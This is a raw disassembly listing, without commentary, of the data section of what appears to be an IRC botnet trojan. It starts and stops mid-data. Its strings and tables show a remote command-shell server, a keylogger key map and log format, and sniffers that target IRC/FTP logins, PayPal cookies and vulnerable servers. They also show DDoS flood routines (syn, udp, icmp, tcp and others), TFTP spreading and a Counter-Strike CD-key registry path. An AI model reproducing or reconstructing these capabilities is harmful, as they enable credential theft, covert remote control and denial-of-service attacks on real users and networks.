thread, error: <%d>.',0 unk_4340B4 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340F8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_434124 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434150 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43418C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_4341B8 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341E4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434380 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_4343B4 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343FC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434424 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434464 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_4344A4 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344E4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E54 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E84: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435748 dd offset off_435744 dd offset off_435740 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h db 0 db 3 dup(0) ; DATA XREF: ___:off_435744o dd 3 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EDCo align 10h off_435740 dd offset word_505446 ; DATA XREF: ___:00434ED8o off_435744 dd offset byte_435249 ; DATA XREF: ___:00434ED4o off_435748 dd offset word_544F42 ; DATA XREF: ___:00434ED0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_4359BC db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359F4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A2C db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A60 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A94 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AF8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B4C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D74 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436164 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436178 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_4361B0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_4361C4 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361D8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_436224 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd 